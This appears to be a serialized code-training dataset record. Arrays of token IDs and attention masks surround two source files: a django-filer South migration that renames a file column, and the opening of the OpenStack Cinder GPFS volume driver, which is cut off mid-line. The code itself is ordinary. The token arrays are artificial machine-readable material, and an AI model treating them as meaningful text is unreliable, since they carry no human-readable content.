359, 283, 12323, 63, 22679, 63, 9977, 63, 1734, 13768, 18732, 297, 283, 12323, 63, 22679, 63, 9977, 63, 3817, 297, 490, 283, 12323, 63, 22679, 63, 9977, 63, 25304, 57, 297, 283, 12323, 63, 22679, 63, 9977, 63, 16436, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 1000, 12, 4952, 63, 8710, 12, 8498, 63, 765, 9, 421, 199, 318, 536, 63, 1074, 63, 4173, 63, 875, 8, 1074, 63, 4173, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 12231, 63, 14468, 63, 14546, 63, 10452, 297, 283, 12323, 63, 12231, 63, 13887, 14468, 63, 14546, 297, 490, 283, 12323, 63, 12231, 63, 8203, 2100, 57, 3727, 63, 14546, 297, 283, 12323, 63, 12231, 63, 1761, 63, 14546, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 1000, 12, 4952, 63, 8710, 12, 1104, 63, 4173, 9, 421, 199, 318, 5718, 63, 466, 63, 875, 8, 2619, 63, 466, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 15353, 63, 2711, 63, 8677, 297, 283, 12323, 63, 15353, 63, 2711, 63, 31035, 297, 490, 283, 12323, 63, 15353, 63, 2711, 63, 24236, 4392, 297, 283, 12323, 63, 15353, 63, 2711, 63, 840, 2533, 297, 490, 283, 12323, 63, 15353, 63, 2711, 63, 22371, 11733, 297, 283, 12323, 63, 15353, 63, 2711, 63, 24236, 4392, 63, 8677, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 80, 12, 4952, 63, 8710, 12, 5718, 63, 466, 9, 421, 199, 318, 5718, 63, 873, 63, 875, 8, 2619, 63, 873, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 15353, 63, 10383, 63, 7517, 297, 283, 12323, 63, 15353, 63, 10383, 63, 1734, 20696, 297, 490, 283, 12323, 63, 15353, 63, 10383, 63, 20696, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 80, 12, 4952, 63, 8710, 12, 5718, 63, 873, 9, 421, 199, 318, 5718, 63, 12371, 63, 4416, 63, 875, 8, 4416, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 15353, 63, 15048, 20696, 63, 2826, 63, 13554, 297, 283, 12323, 63, 15353, 63, 15048, 20696, 63, 2709, 63, 10452, 297, 490, 283, 12323, 63, 15353, 63, 15048, 20696, 63, 4924, 63, 10452, 297, 283, 12323, 63, 15353, 63, 15048, 20696, 63, 2826, 63, 56, 15849, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 1000, 12, 4952, 63, 8710, 12, 6391, 9, 421, 199, 318, 5718, 63, 6814, 63, 1896, 63, 875, 8, 6814, 63, 1896, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 15353, 63, 24972, 63, 7517, 297, 283, 12323, 63, 15353, 63, 24972, 63, 1761, 63, 24236, 25244, 297, 490, 283, 12323, 63, 15353, 63, 24972, 63, 4924, 63, 10452, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 1000, 12, 4952, 63, 8710, 12, 11705, 63, 1896, 9, 421, 199, 318, 12392, 63, 2469, 63, 875, 8, 5780, 63, 2469, 304, 272, 20810, 63, 8710, 275, 359, 283, 12323, 63, 11741, 63, 13883, 26561, 297, 283, 12323, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kriwil/django-filer
filer/south_migrations/0002_rename_file_field.py
22
9155
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # rename the file field db.rename_column('filer_file', 'file_field', '_file') def backwards(self, orm): db.rename_column('filer_file', '_file', 'file_field') models = { 'auth.group': { 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'unique_together': "(('content_type', 'codename'),)"}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'blank': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'unique_together': "(('app_label', 'model'),)", 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'filer.clipboard': { 'files': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['filer.File']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'clipboards'", 'to': "orm['auth.User']"}) }, 'filer.clipboarditem': { 'clipboard': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['filer.Clipboard']"}), 'file': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['filer.File']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}) }, 'filer.file': { '_file': ('django.db.models.fields.files.FileField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), '_file_size': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}), '_file_type_plugin_name': ('django.db.models.fields.CharField', [], {'max_length': '128', 'null': 'True', 'blank': 'True'}), 'folder': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'all_files'", 'null': 'True', 'to': "orm['filer.Folder']"}), 'has_all_mandatory_data': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'original_filename': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'owned_files'", 'null': 'True', 'to': "orm['auth.User']"}), 'uploaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'filer.folder': { 'Meta': {'unique_together': "(('parent', 'name'),)"}, 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'modified_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'owned_folders'", 'null': 'True', 'to': "orm['auth.User']"}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'children'", 'null': 'True', 'to': "orm['filer.Folder']"}), 'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}), 'uploaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'filer.folderpermission': { 'can_add_children': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'blank': 'True'}), 'can_edit': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'blank': 'True'}), 'can_read': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'blank': 'True'}), 'everybody': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'folder': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['filer.Folder']", 'null': 'True', 'blank': 'True'}), 'group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.Group']", 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'type': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'null': 'True', 'blank': 'True'}) }, 'filer.image': { '_height': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}), '_width': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}), 'author': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'date_taken': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'default_alt_text': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'default_caption': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'file_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['filer.File']", 'unique': 'True', 'primary_key': 'True'}), 'must_always_publish_author_credit': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'must_always_publish_copyright': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'subject_location': ('django.db.models.fields.CharField', [], {'default': 'None', 'max_length': '64', 'null': 'True', 'blank': 'True'}) } } complete_apps = ['filer']
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 2197, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 24765, 199, 504, 1639, 14, 697, 492, 1709, 421, 199, 533, 12090, 8, 24822, 304, 2286, 347, 17465, 8, 277, 12, 9813, 304, 2728, 327, 11441, 314, 570, 901, 267, 1592, 14, 8165, 63, 2301, 360, 29292, 63, 493, 297, 283, 493, 63, 698, 297, 2513, 493, 358, 268, 17635, 347, 8552, 8, 277, 12, 9813, 304, 2728, 1592, 14, 8165, 63, 2301, 360, 29292, 63, 493, 297, 2513, 493, 297, 283, 493, 63, 698, 358, 268, 17635, 1709, 275, 469, 267, 283, 1178, 14, 923, 356, 469, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 288, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 2500, 356, 283, 549, 3071, 267, 1660, 267, 283, 1178, 14, 5693, 356, 469, 288, 283, 3396, 356, 791, 3235, 63, 6314, 356, 9510, 1317, 63, 466, 297, 283, 11879, 659, 2924, 1386, 288, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 10778, 14, 11282, 6097, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 267, 1660, 267, 283, 1178, 14, 751, 356, 469, 288, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 2448, 6256, 283, 2500, 356, 283, 549, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 374, 63, 2682, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 549, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 374, 63, 7018, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 374, 63, 11434, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2019, 63, 2886, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2019, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 3933, 1604, 288, 283, 751, 63, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 2500, 356, 283, 549, 1604, 288, 283, 2473, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1216, 3071, 267, 1660, 267, 283, 10778, 14, 20735, 356, 469, 288, 283, 3396, 356, 791, 3235, 63, 6314, 356, 9510, 571, 63, 1302, 297, 283, 1238, 9878, 283, 697, 63, 1224, 356, 3546, 1176, 63, 1317, 63, 466, 15208, 288, 283, 571, 63, 1302, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 1238, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 3071, 267, 1660, 267, 283, 29292, 14, 7548, 3576, 356, 469, 288, 283, 1725, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 29292, 14, 1173, 6097, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 751, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 2407, 63, 354, 356, 3546, 7548, 19267, 4662, 283, 475, 356, 298, 1025, 459, 1178, 14, 1899, 13687, 267, 1660, 267, 283, 29292, 14, 7548, 656, 18980, 563, 356, 469, 288, 283, 7548, 3576, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 29292, 14, 28459, 6097, 288, 283, 493, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 2197, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 24765, 199, 504, 1639, 14, 697, 492, 1709, 421, 199, 533, 12090, 8, 24822, 304, 2286, 347, 17465, 8, 277, 12, 9813, 304, 2728, 327, 11441, 314, 570, 901, 267, 1592, 14, 8165, 63, 2301, 360, 29292, 63, 493, 297, 283, 493, 63, 698, 297, 2513, 493, 358, 268, 17635, 347, 8552, 8, 277, 12, 9813, 304, 2728, 1592, 14, 8165, 63, 2301, 360, 29292, 63, 493, 297, 2513, 493, 297, 283, 493, 63, 698, 358, 268, 17635, 1709, 275, 469, 267, 283, 1178, 14, 923, 356, 469, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 288, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 2500, 356, 283, 549, 3071, 267, 1660, 267, 283, 1178, 14, 5693, 356, 469, 288, 283, 3396, 356, 791, 3235, 63, 6314, 356, 9510, 1317, 63, 466, 297, 283, 11879, 659, 2924, 1386, 288, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 10778, 14, 11282, 6097, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 267, 1660, 267, 283, 1178, 14, 751, 356, 469, 288, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 2448, 6256, 283, 2500, 356, 283, 549, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 374, 63, 2682, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 549, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 374, 63, 7018, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 374, 63, 11434, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2019, 63, 2886, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2019, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 3933, 1604, 288, 283, 751, 63, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 2500, 356, 283, 549, 1604, 288, 283, 2473, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1216, 3071, 267, 1660, 267, 283, 10778, 14, 20735, 356, 469, 288, 283, 3396, 356, 791, 3235, 63, 6314, 356, 9510, 571, 63, 1302, 297, 283, 1238, 9878, 283, 697, 63, 1224, 356, 3546, 1176, 63, 1317, 63, 466, 15208, 288, 283, 571, 63, 1302, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 1238, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 3071, 267, 1660, 267, 283, 29292, 14, 7548, 3576, 356, 469, 288, 283, 1725, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 29292, 14, 1173, 6097, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 751, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 2407, 63, 354, 356, 3546, 7548, 19267, 4662, 283, 475, 356, 298, 1025, 459, 1178, 14, 1899, 13687, 267, 1660, 267, 283, 29292, 14, 7548, 656, 18980, 563, 356, 469, 288, 283, 7548, 3576, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 29292, 14, 28459, 6097, 288, 283, 493, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
hguemar/cinder
cinder/volume/drivers/ibm/gpfs.py
1
42616
# Copyright IBM Corp. 2013 All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ GPFS Volume Driver. """ import math import os import re import shutil from oslo.utils import units from oslo_concurrency import processutils from oslo_config import cfg from cinder import exception from cinder.i18n import _, _LE, _LI from cinder.image import image_utils from cinder.openstack.common import fileutils from cinder.openstack.common import log as logging from cinder import utils from cinder.volume import driver GPFS_CLONE_MIN_RELEASE = 1200 LOG = logging.getLogger(__name__) gpfs_opts = [ cfg.StrOpt('gpfs_mount_point_base', default=None, help='Specifies the path of the GPFS directory where Block ' 'Storage volume and snapshot files are stored.'), cfg.StrOpt('gpfs_images_dir', default=None, help='Specifies the path of the Image service repository in ' 'GPFS. Leave undefined if not storing images in GPFS.'), cfg.StrOpt('gpfs_images_share_mode', default=None, help='Specifies the type of image copy to be used. Set this ' 'when the Image service repository also uses GPFS so ' 'that image files can be transferred efficiently from ' 'the Image service to the Block Storage service. There ' 'are two valid values: "copy" specifies that a full copy ' 'of the image is made; "copy_on_write" specifies that ' 'copy-on-write optimization strategy is used and ' 'unmodified blocks of the image file are shared ' 'efficiently.'), cfg.IntOpt('gpfs_max_clone_depth', default=0, help='Specifies an upper limit on the number of indirections ' 'required to reach a specific block due to snapshots or ' 'clones. A lengthy chain of copy-on-write snapshots or ' 'clones can have a negative impact on 